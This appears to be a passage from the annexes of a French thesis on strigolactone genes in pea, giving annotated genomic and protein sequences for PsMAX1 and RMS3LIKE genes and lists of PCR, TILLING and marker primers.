4. GGCAAAGTGACTTGTGATACTCCATTATTTTTGTCTTCCCATGAATACTACCATATTATTGATTTGATTATTACACATTAATA ATTGGAATAAATTATGGAAGTGGATTGGATTGGGTACAAGGGTATCTAATTCTGATATATCATCATCACATAAGGACAAAATT AATAAAAAGTCCATTTACATCCATTTTCTCTATATAAGCTATAAGGAGTAGGGTGAAACTAGAGTACCTACCTAGCCTTCAAT AAGCAAAGTTTGTGTTTATGATGGATTTGGAATGGTGGTTTTCAATTCGAATTAGTAGTGTTTCTTTGGGTTCAACAATGTTT ACACTATTGAGTTTAGTTGGAGGGTGGTTGATTTATCTGTATGGGCCATATTGGAGAGTCAGAAAGGTTCCAGGCCCACCATC TCTGCCGTTGGTAGGACATCTTCATTTGCTTGCTAAACATGGTCCGGATGTTTTCTCAATACTTGCCAACCAATATGGTCCAA TCTACAGxxxgtttcatttttatcatatcgcaattataattatttatttatttatttaataatattaatcagagaagggtataaaagatgagt tgagaaattgtaatataaataaaaatttatattattataattcaattgtcttttttattatataaagggcccagctgagcacaagctttatatg ctttcagactatattttattaaaaataaaatattttatgtctttgtccattttctttttcgtcaacgccggttcgatttattataataagctga tagctttcttttttgattgttttttttattaataacattgttgaatgatctaccaaggatttttttttgtcttgactctcgcattaatctaaaa aatatatacgtcccatctataacattaagatttgtgaatatattttgtttttagttcttaataaaaaaaataatttttatgattatcttataag aaaatgagaatcttataaaagaaataagatatgtagttacagtgtaaaataattttatattgtaaaattaataactatcatatatttgatcaca tcaaactgaagtttttaagttaataatataacatatgatatgctgatgaattgatagtgtaaaattattttatacttttagtatatataagtta actcttttaaaatgattccttccgttattttttaactgtcatttttaagtaaaaaaattatttctttttaattgttgctttcaaaattcaagta aaattaattgttattttgtcaaaaaaatttataattatttattaaaaaaaattttaaaaaaaaataaagatattacagataaaaagaccaaata gtgaattt cttagcaatatttaggaaaaaaataatttttaaatatactaaataatcaaaaatattaattatttaatatattttaaaactaatt ttttttataataaggatcaaaaaacatatattgtaacaacacctaaatcttatttttaggtgagataggaaatcttactttaggcgagataggg tgcatggattgttattttaagtattatattttttatccaattcattaatttttttaagattttttaataatttatcttataatttttattaaga atgtatatagttaagtcaatacacaaaatccagtcaaatctgttaaaaaaaaaattttaaagtaggttgaattggataatttggtggatatgtg ttttaaaattaaaaaacccattaaaaaaatttaaattttggataaaatcagactcaaaactaaaaaaattcactaatccactaatcaaatattt attattataattttaatgattttgatgaatattaacttagttgtttcaattttagtctttaacattattatttaataaatcatgacgactttaa ttaattttgaatgtttcactatttagttattttgttgttaatgtaattttatgttatgcaattttaatttattattagtattttataataattt tattaattaatgatataatttattattttatgatgctaaaagataataattaatttatttaaataaaataaaattattcaataatttttatgaa aaatatgatgagttatttaatattaataaaaaaatgtatttgggtactcgactatccaattcaatccaacttaaaaattaatggatttgttcaa gctgattgattgatataacgagagtttattttaactcacccaaactagaatattctatatagattgaatattgaatttgtttaaacccaaccaa aatcggctcacgttcacccttagtttttgttattttctttttccatttaaacttcttttctttttagcacctcttcttatatcaaaatttctaa atcttctctttaatattgttatttttaattttatctcatttaatcttatcatatatttaatataacactctcatctctactacacatattttat ttatgtgttaattttaaacttattaatattttattttatacaatattatttttcttattattattcaataaaaaaaattctttaacatgtgtca cataaaatacataaattttcttccatttcaaccatttaatttaaatgtattgaaattaaatagtctcaaaagttttatgtaacataatttctca ctcaatcatcaattaccgttattgttagattgaagttaatagttagattgaacccatgagttgacaattgtatgcatgaat gatgaaaaa aaataagaaataaaaaaataaaaacataagtaaaaaattatatatacacctagactaatcatgcatttaaatttagggtttagctaacttgtgt ccttgggcacaagttaaggttactactataaaaaaaattgtgtggaataaaacaaaaatttaaatttcaaaaaatcaaatgcacgcactccaaa aaaatatttctataagtgtatcattaacttgtgtccttgggacacatgttagcattagccttaaatttattttcttagcaaatgttagtatatt tcttcacaccaaaaggcacaaaaaagaaaaggagccatggaaagaactaaaaagcctagtatcattattgctattccaaatcatacaattttga ataattagagtgtttgtgatcatcatcttaatcatcatattctgaactcatctgatgaatcattaatttactgaaaaatacattattgtttcta aaaaatgaaaaaaaaatgaatgtaattaaaaggtggctttagcctttaagttgctgcaatatcaataatgataccataaaaagttcaacagtaa aaataatcaaagaaagaggagagtaaaataatgcttttttcattacactttttatttatgaaattaaacttaaatttaatttttcttctcttca tggtcattaataatttttcccattatttattagtgcagxxxATTTCACATGGGAAGACAACCACTAATAATAGTAGCAGATGCAGAAC TGTGTAAAGAAGTAGGAATCAAAAAATTCAAAGACATTTCAAACAGAAGCACTCCTTCTCCCATTAAAGCTTCTCCACTTCAC CAAAAGGGTCTCTTCTTCACCAAGtaacctttcatattccataatgttttctgttttgttcttgtcatgttacagaataaaat cgacaatcgacaagcacatagaatcacatgaaatgaggtttcatagtatatgattttttacatttttctcagtggactagcca ctaagtttgaatattactttacctttttctgttagtggcaagaaacttgagtcagaatcatatatgtcttctataaggtagta ctacattatttgtcggcagatgtttacaatgttttttctaacagtttcatgccactttgattttcatctgcaggGATTCACAA TGGGCTACATTGAGAAACACGATTTTATCGGTATATCAACCGTCACATCTATCAAGATTAGTGCCAACAATGCAATCATTCAT AGAATCTGCCACTCAAAATCTTGACTCAGAGAATGAAGATGTTGTCTTTTCTAATTTGTCGCTTAAACTCGCGACCGACGTGA TTGGACAAGCAGCGTTCGGTGTCAACTT CTCTGAGCCTCATTCTGTTTGCAACGAAATCAAGAATGTTGGTGATAAT GAAGTAACGGATTTTATCAATCAACACATATACTCGACAACTCAACTTAAGATGGATTTGTCGGGTTCGTTCTCAATCATACT TGGTTTACTTGTTCCGATTCTTCAAGAACCGTTTAGACAGATTTTGAAGCGAATACCGGGCACTATGGACTGGAAAATCGAGC GTACTAACAAAAAACTAGGCGGACGTCTTGATGAGATTGTGGAAAAGAGAATGAAAGATAGAACGCGTAGTTCGAAGGATTTC TTGTCGCTTATACTAAATGCTAGAGAATCAAAAGCTGTTTCGGAGAATGTGTTCACATCTGAATATATCAGTGCTGTTACTTA TGAACACTTGCTCGCTGGCTCTGCAACCACTTCCTTTACGTTGTCTTCTGTAGTCTATTTGGTTGCTGCGCATCCAGAAGTCG AGAAAAAAATGGTTGAAGAGATTGATAGGTTTGGTTCAATAGACCAGATACCGACTTCTCAAGATCTTCATGACAAGTTCCCT TATCTTGATCAGGTagttacgttgaatgaacatccttaaaactctctagagtgtatcgaaattaactcttataatgttctatt tatttaatgcaggtGATCAAAGAGGCAATGAGGATTTACATCGTATCGCCATTAGTTGCAAGAGAAACATCGAATGAAGTTGA AATCGGAGGTTACCATCTTCCAAAGGtaaaacatgtttctttttgcatgatcatcaatgcttcaaatcggttgctgatgtagt tttgtgcgaacaggGAACTTGGGTTTGGTTAGCACTTGGTGTTCTAGCGAAAGATCCGAAAAACTTTTCAGAGCCAGAAAAGT TTAAACCAGAAAGGTTTGATCCTAACTGTGAAGAGATGAAGAGAAGGCACCCTTATGCTTTCATACCATTCGGAATCGGTCCT CGGGCTTGCATCGGTCAGAAATTTTCCCTTCAAGAGATTAAGCTTTCGCTCATTCATTTATACAGAAAATACTTGTTTCGGCA TTCACCGAACATGGAAACCCCTTTAGAACTTGAATATGGCATAGTCCTTAACTTCAAGCATGGTGTCAAGCTTAGAGTCGTAA AAAGAACAAATTCGAAGGTCGAGGGATGAGATATAAACTAATATTAGAAATAAGTATTATGAGATAATGTAATGAATAATCAT GTCATATACCAAATAATGTAAGTTTATGAAAGGATACTGGTTTGTTAGCTTTTAAATAGTCAAAAATAAGATGAAAAATATTG TTGACAAAGTGTGATTTTCCCATAAATTGACGACGATTCATACAGAAAACTCTCCGGACCGAGTATTAATCAAAACTCACAAA TGAACAATTATACAAATGGAGGACAAGAACATAAGCTAGATCTGGTTCTTCTTGAAGCTAGCTAG TCGGACTAA AATACAACAGACAACAAGATGTCGAACTTCTTGAAAAACGAATAAATAAAGTGATCTT ATG : Codon START TAA : Codon STOP Xxxxx : emplacement de l'intron putatif manquant AGGCAAAGAAAAAGCA : séquence exonique atatatacttatttt : séquence intronique TGTGAAACATCTCGATGACGATA : UTR catattcatgcagTGAAACAATAGAATTG :
zone
1er
TIL
LING (ita
lique
)
G mutation identifiée par TILLING
355
‐ Annexes‐ Annexe 5. Séquences Protéiques PsMAX1‐A10 et PsMAX1‐A12
>PsMAX1_A12 MMDLEWWFSIRISSVSLGSTMFTLLSLVGGWLIYLYGPYWRVRKVPGPPSLPLVGHLHLLAKHGPDVFSILANQYGPIYRFHMGRQPLIIVADA ELCKEVGIKKFKDISNRSTPSPIKASPLHQKGLFFTKDSQWATLRNTILSVYQPSHLSRLVPTMQSFIESATQNLDSENEDVVFSNLSLKLATD VIGQAAFGVNFGLSEPHSVCNEIKNVGDNEVTDFINQHIYSTTQLKMDLSGSFSIILGLLVPILQEPFRQILKRIPGTMDWKIERTNKKLGGRL DEIVEKRMKDRTRSSKDFLSLILNARESKAVSENVFTSEYISAVTYEHLLAGSATTSFTLSSVVYLVAAHPEVEKKMVEEIDRFGSIDQIPTSQ DLHDKFPYLDQVIKEAMRIYIVSPLVARETSNEVEIGGYHLPKGTWVWLALGVLAKDPKNFSEPEKFKPERFDPNCEEMKRRHPYAFIPFGIGP RACIGQKFSLQEIKLSLIHLYRKYLFRHSPNMETPLELEYGIVLNFKHGVKLRVVKRTNSKVEG >PsMAX1_A10 MMFSTIISIVSLVLALIGGYLYGPFWRLRKVPGPPSLPLVGHLPLLAKYGPDVFSILAKQYGPIYRFHMGRQPLIIIADPELCKEVGIKKFKNL SNRSIPSPISASPLHQKGLFFTRDSQWTSMRNTILSVYQPSHLANLVPKMQSVIESATQNLDTQKEDIIFSNLSLRLATDIIGDAAFGVNFGLS KPQSICESMNNLNNVKHSSASNDEVSNFINQHIYSTTQLKMDLSGSFSIIIGLIAPILQEPFRQILKRI KMECTNRNLTGRLDEIVKK RMEDKNRRTSKNFLSLILNARESKSVSENVFPFDYISAVTYEHLLAGSATTSFTLSSIVYLVAGHINVERKLLQEIDEFGTHDRIPNAKDLNES FPYLDQVIKEAMRIYTVSPLVARETSNEVEIGGYLLPKGTWVWLALGVLAKDSRNFAEPEKFKPERFDPKCEEMKRRHPYAFIPFGIGPRACIG QKFSLQEIKLTLIHLYRKYVFRHSLSMEKPIELEYGLVLNFKHGVKLRVIKRA
G mutation identifiée par TILLING 356 ‐ Annexes‐ Annexe 6. Séquence RMS3LIKE1 >RMS3LIKE1_ADNgenomique_cultivar
Térèse TTTTTTTAACCATAAATTTATAACAATAGAGAATCTCTTTTATTTAACCAATGAAACTGCATTATATATATCAAGTTAAGCGT TATCTAAACAGAAATATCTCTAAGGTGTGGCTCAACTTGTTCCTCGTGGCCTCATCCTCGTAAGTCCAAATACTACGACGTGA CTTTTCACAACTCACACAGTCGGTGAATGATCACTTTAATTATTAAGCAAACAAGAAAGTCACAACAACCTCACACCAAAGAG AAAAAAGAAGAAAACTGTGACAGAAAATGGGGATAGTGGAAGAAGCACACAACGTGAAAGTTTTAGGAACAGGAAATAGGTTC ATTGTTCTAGCTCATGGTTTTGGTACGGATCAATCCGTATGGAAACACTTTGTACCACATCTCGTCGATGGCTTTCGTGTTGT TCTTTATGATAACATGGGTGCTGGTACTACAAACCCCGAGTACTTTGACTCCGAGCGTCATTCAAGCTTAGAAGGTTATGCTT ATGATTTACTGTCAATTCTAGAAGAGCTTCAAGTCGAGTCTTGCATATTTGTCGGTCACTCGGTTTCAGCAATGATCGGTGCT ATAGCTTCTATTTCTCGACCTGATCTCTTTCTTAAACTCATCATGGTTTCTGGCTCACCGAGATACTTGAACGATGTGAATTA CTTTGGAGGATTTGAGCAAGAAGATCTGAATCAGTTATTCACTGCTATGTCAGAAAATTACAAAGCATGGTGTTAC465GGGT TTGCTCCTTTGGCGGTAGGGGGAGACATGGATTCTGTGGCGGTACAGGAGTTTAGTCGAACTTTATTTAATATGAGGCCGGAC ATAGCTTTG561ATAGTGTCGAGGACGATTTTTCAGAGTGATATGAGACAGATTTTGAAGCTTGTTACTGTTCCTTGTCATAT TATACAGGCGGAGAAGGATATGGCGGTTCCGGTGATGGTTTCGGAGTATTTACATCAACAATTGGGTGGTCAGTCGATTGTGG AGGTTATTGGGACGGATGGTCATTTGCC TAAGCTCGCCGGATGTTGTTATTCCGGTGTTGCTTAAACATATTCAACTT AATATTGAGCCAATAAGgtaaatacttgttacattagttattaaaattttataggtaaaatgccacatgttggaatgacaact gaaatcaaatgtcattttcaacaactatatattgtggggttatataaatttattttcccaactaagtagggaagtgtgtggac ctaacatttaatgtggttagagaaaaaagttatcacagtacttggataaattcaatttagcaagactatactattaaatttgg ttatgttcattgacttacctatttttctaacaatggcagCTGTCAGAGAAACTATCACACTTTCCAAAACCAAGAGGCTTCTT CAACAAACACAACAAATGCAGATGTTTCCTCGTTGATGAAACTTGAGGCAGATTTGTAATTTGAAATCCCATTATAGGCCCAT TGGTGTAGCTAGTAAGGCACAAGATGAAGGAAGTGGCATTAAGAAGATGTAACTCATGAACAATGTTATGGTGGTGTATCTTT CGTGTGAATCATATTTGAAGATGTAACTCATGAACAAGTCAAATATGACATTATTCGTCAATGTTAATTATTATGGTTTCGGA TTTGATAAAAAAAAAAAA ATG : Codon START ND TAA : Codon STOP 2 taa : variant d'épissage Codon STOP 1er variant d'épissage AGGCAAAGAAAAAGCA : séquence exonique atatatacttatttt : séquence intronique TGTGAAACATCTCGATGACGATA : UTR catattcatgcagTGAAACAATAGAATTG : zone TILLING (italique souligné) G mutation identifiée par TILLING GACGTG : C/G-box OU C/A-box motif = site de liaison de la protéine HY5 357 ‐
Annexes‐ Annexe 7. Séquence de RMS3LIKE2 >RMS3LIKE2_ADNgenomique_cultivar_Caméor
ATTTATTATTACCACCTAACAAGAATTTCTCAGCTGCATTATATATATAATAGACCTCAAATGAATGTTCCTTTTATAGATGA CTATATTCATCCATCATTTTTTGTAGCGTCTCCATTTCCATTCACATTTTACTGTTGGTGAACTTAGTAAGGTTTATCCTAGT TTAAAAAAAACTACCTTAAAGTAGTATATGTTTGATGTTTATCCCTGTTGCCGTCATTAAGAGTTTTCTTAGATCCAAAATAT GACGACATAGTCTAAAACTTTAGAACCTCAAAAGTCACAATCACAAACAACGTAAACACCCTCCCAATTCCATTAACAAAAAC AAAACAAAAGAGAATCAATCA TATCAACAAACCCAACACCAAAAAATATGGGAATAGTGGAAGAAGCACACAAC GTGAAAGTTTTAGGAACAGGTTCACGGTTCATAGTTCTAGCTCACGGATTTGGCACAGATCAATCTGTATGGAAACACCTCGT ACCTCATCTCCTAGAAGAATTCCGTGTCATACTTTATGACAACATGGGAGCTGGTACAACTAATCCAGATTATTTCGATTTCG AACGTTACTCAACGTTAGAAGGCTATGCTTATGATTTACTCGCAATATTACAAGAACTTAGAGTTGATTCTTGTATCTTTGTT GGTCATTCGGTTTCTGCTATGATTGGAACTGTTGCATCGATTTCTCGTCCTGATTTGTTTGCCAAAATCATCATGATATCTGC TTCTCCAAGGTATxxxxxxxTTGAACGACAGTAATTACTTTGGAGGATTTGAACAAGAAGATTTAGATCAATTATTCAATGCT ATGGCATCAAATTACAAAGCATGGTGTTCAGGCTTTGCTCCAATGGCGATTGGAGGGGACATGGAGTCAGTGGCAGTTCAAGA ATTCAGTCGAACTTTGTTCAACATGAGACCAGACATAGCCCTAAGCGTGTTACAAACAATTTTCAAAAGTGACATGAGACAAA TATTATGTCTCGTCAGTGTCCCATGTCACATTATACAAAGTATGAAGGACTTGGCTGTTCCCGTCGTAGTGGCGGAGTATCTC CACCAACACGTCGGCACCGAGTCAATCGTGGAGGTGATGTCGACGGAGGGTCATTTACCGCAGTTAAGCTCGCCGGATGTTGT TATTCCGGTGATACTAAAACACATTCGTTATGATATTGTAGCTTGATGTTAATGTGTGGTTGGTGTGTGTTTGTGGTGCATGA TTGTATTGTTTAGGTTCTGAAAAAGAAATAAAATATTGAAAGAGCCAAAGAGAGTTGCTTTTTGTTTTGTGTCTTTTTCGTAG ATGAACAAGAAAAATGGGGTTGGCAACACATGGTTCCATATCAATTATGCATTGTTGTTTATTAGTCATTTTTAATATAGTTT AGTTTTGGTAGGTGGTGATGCCATTCGATAGGTATTGGCATCAATTGTTATTATCTTTGTATGAATAATGTGGAGATGGAGGC TGTGAATAATAAATAAATAGTTTGTTGTCTTGTTATCATATATTTACCAAGTTTTTTTATTCCAAA ATG : Codon START ND TAA : Codon STOP 2 variant d'épissage AGGCAAAGAAAAAGCA : séquence exonique atatatacttatttt : séquence intronique TGTGAAACATCTCGATGACGATA : UTR Xxxxx : emplacement de l'intron putatif manquant
358 ‐ Annexes‐ Annexe 8. Séquences Protéiques RMS3LIKE1 et RMS3LIKE2 >RMS3Like-1_Protein
IVEEAHNVKVLGTGNRFIVLAHGFGTDQSVWKHFVPHLVDGFRVVLYDNMGAGTTNPEYFDSEHHS SLEGYAYDLLSILEELQVESCIFVGHSVSAMIGAIASISRPDLFLKLIMVSGSPRYLNDVNYFGGFEQ EDLNQLFTAMSENYKAWCYGFAPLAVGGDMDSVAVQEFSRTLFNMRPDIALIVSRTIFQSDMRQILKL VTVPCHIIQAEKDMAVPVMVSEYLHQQLGGQSIVEVIGTDGHLPQLSSPDVVIPVLLKHIQLNIEPIS CQRNYHTFQNQ DV MGIVEEAHNVKVLGTGSRFIVLAHGFGTDQSVWKHLVPHLLEEFRVILYDNMGAGTTNPDYFDFERYS TLEGYAYDLLAILQELRVDSCIFVGHSVSAMIGTVASISRPDLFAKIIMISASPRYLNDSNYFGGFEQ EDLDQLFNAMASNYKAWCSGFAPMAIGGDMESVAVQEFSRTLFNMRPDIALSVLQTIFKSDMRQILCL VSVPCHIIQSMKDLAVPVVVAEYLHQHVGTESIVEVMSTEGHLPQL DV
359
‐ Annexes‐ Annexe 9. Carte génétique du pois 360
‐ Annexes‐ Annexe 10. Listes des amorces utilisées
Nom des amorces Séquences Obtention de RMS3like1 et RMS3like2 : D14like1_141U (amorce dégénérée) 5' TCTATATGATAACATGGGNGCNGG 3' D14like1_640L (amorce dégénérée) D14_like_1F3'N1 D14_like1_F3'N2 D14_like1_F3'N3 D14_like1_R5'1 D14_like1_R5'2 D14_like1_R5'3 96_UAP 94_AUAP RMS3_L1_F‐100 RMS3_L1_R1233 RMS3_L1_F‐100 RMS3_L1_R898 RMS3_L2_F‐50 RMS3_L2_R937 5'‐TGTATAATATGGCATGGNACNGTNAC‐3' 5' GGAGAAGGATATGGCGGTT 3' 5' TCGGAGTATTTACATCAACAATTG 3' 5' GTCAGTCGATTGTGGAGGTTA 3' 5' G AGAATTGACAGTAAATCA 3'; 5' GATGCTCGGAGTCAAAGTACTC 3' 5' TAGTACCCGCCCCCAATAT 3' 5' CUACUACUACUAGGCCACGCGTCGACTAGTAC 3' 5' GGCCACGCGTCGACTAGTAC 3'. 5' AACTCACACAGTCGGTGAAT 3' 5' ATGCCACTTCCTTCATCTTG 3' 5' AACTCACACAGTCGGTGAAT 3' 5' ACCCCACAATATATAGTTGTTG 3' 5' AAAAAGCAACTCTCTTTGGC 3'. 5' GAGAATCAATCAGCCTACAGT 3' Obtention de PsD27 : PsD27_346U (amorce dégénérée) PsD27_912L (amorce dégénérée) PsD27_p1F_5 PsD27_p1R_578 PsD27_p1F_514 PsD27_p1F_600 PsD27_p1R_725 PsD27_p2F_ 36 PsD27_p2R_213 PsD27_p2R_700 PsD27_p1F_725 PsD27_p2R_ 36 5'‐GATAGCCTTGTTGARGCNGC‐3' 5'‐GGACCGAGTAACCANGCRAARAA‐3' 5'‐AGCCAACAAAACAAAACACCT‐3' 5'‐ GACCGAGTAACCAAGCAAAA‐3' 5'‐ATCAAAATTAGCAAGGGAATAT‐3' 5'‐CAGAAGTCAATGGAAGAAGAGA‐3' 5'‐TTATGAACACTTGAGATGGC‐3' 5'‐ CAGGAACCACCATCATCAAC‐3' 5'‐ GTTGATGATGGTGGTTCCTG‐3' 5'‐ GCCGGAGTAGTATCTCCTTA‐3' 5'‐ GCCATCTCAAGTGTTCATAA‐3' 5'‐ CGCAGGTTCATTTAGCTCAT‐3' Obtention PsMAX1‐A12 : PsMAX1‐A12_3F PsMAX1‐A12_1009R PsMAX1‐A12_931F PsMAX1‐A12_2009R PsMAX1‐A12_1963F PsMAX1‐A12_2713R 5'‐GATGGATTTGGAATGGTGGT‐3' 5'‐TAATGGGAGAAGGAGTGCTT‐3' 5'‐GCAGATGCAGAACTGTGTAAAG‐3' 5'‐CGCAGCAACCAAATAGACTA‐3' 5'‐ATCCCTCGACCTTCGAATTT‐3' 5'‐CAACCACTTCCTTTACGTTGTC ‐3' 361 ‐
Annexes‐ Obtention
PsMAX1‐A10 : PsMAX1‐A10_F8 PsMAX1‐A10_R596 PsMAX1‐A10_j2F596 P MAX1‐A10_j2R1004 PsMAX1‐A10_F1004 PsMAX1‐A10_R1846 PsMAX1‐A10_j4F1846 PsMAX1‐A10_j4R3004 PsMAX1‐A10_F3004 PsMAX1‐A10_R3400 PsMAX1‐A10_F 600 PsMAX1‐A10_R1000 5'‐GGTAATAGGTCATGTATGAGGT‐3' 5'‐GGTGAAGAGGAGAAGCAGAG‐3' 5'‐CTCTGCTTCTCCTCTTCACC‐3' 5'‐TCTCATCGAAGTCCACTGCG‐3' 5'‐CGCAGTGGACTTCGATGAGA‐3' 5'‐TTGCAACCAATGGAGAGACA‐3' 5'‐TGTCTCTCCATTGGTTGCAA‐3' 5'‐CCAAGTGCTAACCATACCCA‐3' 5'‐ATGGGTATGGTTAGCACTTG‐3' 5'‐AAGATAACAATTCTTCCAATGCTT 5'‐CAACCTCTTATAATCATAGC‐3' 5'‐AACAACCCATCATTGCTCTATC‐3' Obtention de PsLBO1 : PsLBO_U515 (amorce dégénérée) 5'‐CCGAAGATCAGAARCTNGAYTGGTG‐3' PsLBO_L777 (amorce dégénérée) PsLBO_U1024_3' PsLBO_U968_3' PsLBO_L520_5' PsLBO_L537_5' PsLBO_L580_5' PsLBO_U525 PsLBO_L923 PsLBO_F2006 PsLBO_R2609 5'‐ACTTGAACATGGNGGRTARTARTTCAT‐3' 5'‐AGTTCCGGTTTAATCGTGATAC‐3 ́ 5'‐GGAGGTTCACGTTTTCTTTTGT‐3 ́ 5'‐ GTCAACCTCATGATTAATCACC‐3 ́ 5'‐ACTCATATCCTCTATGTTCTCC‐3 ́ 5'‐TGTTTCTCTTCCAAAGGTAGCA‐3 ́ 5'‐AGGTGATTAATCATGAGGTTGAC‐3' 5'‐GTCTTTAAGTATTTGAAGGCCC‐3' 5'‐TTAAAGACAGCAGATGGGTC‐3' 5'‐AGTTTCCATTGA TAGCAT‐3' TILLING PsMAX1‐A12 : Max1_N1F Max1_N1R Max1_N2F700 Max1‐N2R800 5' CATCTGCAGGGATTCACAATGGGCTAC 3' 5' GTTTATATCTCATCCCTCGACCTTCG3' 5'CGGTATATCAACCGTCACATCTATC3' 5'ACGACTCTAAGCTTGACACCATG3' TILLING PsMAX1‐A10 : MaxA10_N1F2 MaxA10_N1R3 MaxA10_N2Ft1 MaxA10_N2Rt1 TILLING PsLBO1 : PsLBO_TILN1_F PsLBO_TILR1_R1 PsLBO_TILN1_R2 PsLBO_TILN2_F PsLBO_TILN2_R 5' CCGTTCGATTACATAAGCGCGG 3' 5' ATACTTTACCTTAATGTTG 3' 5'CACGACGTTGTAAAACGACGGATACCTAATGCTAAAGACC 3' 5'GGATAACAATTTCACACAGGGGTTTACACATTTAACCAC 3' 5'‐GGTTTTTTCAGGTAAATAAGT‐3 ́ 5'‐CACTGTTTACACGAATAACATA‐3 ́ 5'‐ TGTTAAGTTTTTGGAGGTTCA‐3 ́ 5'‐TTTGAGGACATACTTG‐3 ́ 5'‐GGGTCCCTGTTCAACCA‐3 ́ 362
‐ Annexes‐ TILLING
RMS3LIKE1 : D14_N1F D14_N1R D14N2Ftag D14N2Rtag 5'‐GGAAACACTTTGTACCACATCTCG ‐3' 5'‐TCCTTCATCTTGTGCCTTACTAGC ‐3' 5'‐ACGACGTTGTAAAACGACGATAACATGGGTGCTGG ‐3' 5'‐TAACAATTTCACACAGGCAATGGGCCTATAATGGG ‐3' Amorces marqueurs CAPS et dCAPS pour PsLBO1 : LBO2083__CAPS_F 5' GTAAGGAGTTTTTCATGCTACC 3' LBO2083__CAPS_R 5' ATATATTACCTGAGTTTTGCTGGT 3' LBO2100/2698__CAPS_F 5' GCCACGATTCAACCATGACA 3' LBO2100_ _R 5' TGGAATTGGTTGAACAGGGA 3' LBO2698_CAPS_R 5' GAACATGTTGGATAGTAATTCATCC 3' LBO3182_dCAPS_F 5' ACTTGATTGGTGCAACATGTTTGCTCTAG 3' LBO3182_dCAPS_R 5' CGTGGCTAATTTGCCGAGGATCT 3' LBO2083__CAPS_F 5' GTAAGGAGTTTTTCATGCTACC 3' LBO2083__CAPS_R 5' ATATATTACCTGAGTTTTGCTGGT 3' LBO4334_CAPS_F 5' GTTGAGTGTTGTGATTAGGTGAT 3' LBO4334_CAPS_R 5' CCCATATCCTTGGACTGTTC 3' Amorces marqueurs CAPS et dCAPS pour PsMAX1‐A12 : MAX1A12_799_CAPS_F 5'‐GATTGGACAAGCAGCGTTC 3' MAX1A12_799_CAPS_R 5'‐ATAAGCGACAAGAAATCCTTCG‐3' MAX1A12_1032_CAPS_F 5'‐GATCAAAGAGGCAATGAGGA‐3' MAX1A12_1032_CAPS_R 5'‐TTCACAGTTAGGATCAAACCT‐3' MAX1A12_1644_dCAPF 5'‐TGTCGCTTAAACTCGCGACCGACGTGACT‐3' MAX1A12_1644_dCAPR 5'‐AGAACGAACCCGACAAATCC‐3' MAX1A12_1995_dCAPF 5'‐ACTTTTCAGAGCCAGAAAAGTTTAAACCG‐3' MAX1A12_1995_dCAPR 5'‐CTGTATAAATGAATGAGCGAAAGCT‐3' MAX1A12_2286_CAPSF 5' –TATGAAAGCATAAGGGTGCC‐3' MAX1A12_2286_CAPSR 5'‐GTTGAAATCGGAGGTTACCA‐3' Amorces marqueurs CAPS et dCAPS pour PsMAX1‐A10 : MAX1A10_6547_dCAPSF 5'‐TTTTTTGCTTATTAATGTAGGTGATTGAA‐3' MAX1A10_6547_dCAPSR 5'‐AGTTAGTAAACGGAGAGAATCC‐3' MAX1A10_2622_CAPSF 5'‐GATACCTAATGC TTA‐3' MAX1A10_2622_CAPSR 5'‐ACCTCCAATCTCTACTTCATT‐3' MAX1A10_1190_CAPSF 5'‐GGATACCTAATGCTAAAGACCT‐3' MAX1A10_1190_CAPSR 5'‐CCATGTTCCCTACTCATATATAA‐3' MAX1A10_2503_dCAPSF 5'‐CATGGGTATGGTTAGCACTTGGAGTGCTA ‐3' MAX1A10_2503_dCAPSR 5'‐CCAATACATGCTCTTGGACCA‐3' MAX1A10_2824_CAPSF 5'‐TTTCGCTAGTGTCAGTGTCT‐3' MAX1A10_2824_CAPSR 5'‐CAATACATGCTCTTGGACCA‐3' MAX1A10_4601_CAPSF 5'‐TTTCGCTAGTGTCAGTGTCT‐3'
363 ‐
Annexes‐ MAX1A10_4601_CAPSR MAX1A10_3006_CAPSF MAX1A10_3006_CAPSR 5'‐CAATACATGCTCTTGGACCA‐3' 5'‐TTCATACCATTTGGAATTGGTC‐3' 5'‐CTTGACACCATGCTTGAAATTA‐3'
Amorces marqueurs CAPS et dCAPS pour
RMS3
like1 : RMS3‐like‐561__dCAPS_F GGTGTTACGGGTTTGCTCCTTTGGCGCTA RMS3‐like‐561__dCAPS_R CCGTCCCAATAACCTCCACAA RMS3‐like‐1482/3246__dCAPS_F TAAACTCATCATGGTTTCTGGCTCACCTA RMS3‐like‐1482/3246__dCAPS_R CTCTGAAAAATCGTCCTCGACACT RMS3‐like‐3801__dCAPS_F AATTCTAGAAGAGCTTCAAGTTGAGTCGT RMS3‐like‐3801__dCAPS_R GCCAAAGGAGCAAACCCGTA RMS3‐like‐3801__dCAPS_F2 AATTCTAGAAGAGCTTCAAGTTGAGTCTA RMS3‐like‐3801__dCAPS_R2 CGCCACAGAATCCATGTCTC RMS3‐like‐4261_dCAPS_F TGGTTTCTGGCTCACCGAGATACTTGTAC RMS3‐like‐4261_dCAPS_R ATCGTCCTCGACACTATCAAAGCT PCR quantit D27_F3 PsD27_R3 PsLBO F1 PsLBO R1 PsMAX1‐A12_F3 PsMAX1‐A12_R3 PsMAX1‐A10_F3 PsMAX1‐A10_R3 RMS3like1F1 RMS3like1R1 RMS3like2F1 RMS3like2R1 R3L1.1_F1 R3L1.1_R1 R3L1.2 F1 R3L11.2_R1 5'‐CTACCGTGGCTTCAAAGAAA‐3' 5'‐ATTTTGATGGTGGCATCACT‐3' 5'‐TCATGCTACCTTTGGAAGAGA‐3 ́ 5'‐GAGGTGCAATTCCTAAAGCA‐3 ́ 5'‐AAAAACTAGGCGGACGTCTT‐3' 5'‐TCCGAAACAGCTTTTGATTC‐3' 5'‐GGTCGTCTTGACGAGATTGT‐3' 5'‐GTAAGTGACCGCGCTTATGT‐3' 5'‐CTTTGATAGTGTCGAGGACGA‐3' 5'‐ GACCACCCAATTGTTGATGT‐3' 5'‐GCCCTAAGCGTGTTACAAAC‐3' 5'‐ACTCGGTGCCGACGTGT‐3' 5'‐TTGAGCCAATAAGCTGTCAGAGAAC‐3' 5'‐CACTTCCTTCATCTTGTGCCTTA‐3' 5'‐CTAACAATGGCAGCTGTCAG‐3' 5'‐CTTCTTAATGCCACTTCCTTCA‐3' Cartographie LBO_ carto_F LBO_ carto_R RMS3L1_65_F RMS3L1_1161_R 5' CTTGTCAAGAGTGGGGATTT 3' 5' TTTGCCGAGGATCTTCAAAAAT 3' 5'‐ TAGCTCATGGTTTTGGTACG ‐3' 5'‐TCTGCCTCAAGTTTCATCAACG‐ 3'
« Vers une meilleure compréhension du mode d'action des strigolactones et de leur interaction avec les autres hormones du développement » RÉSUMÉ
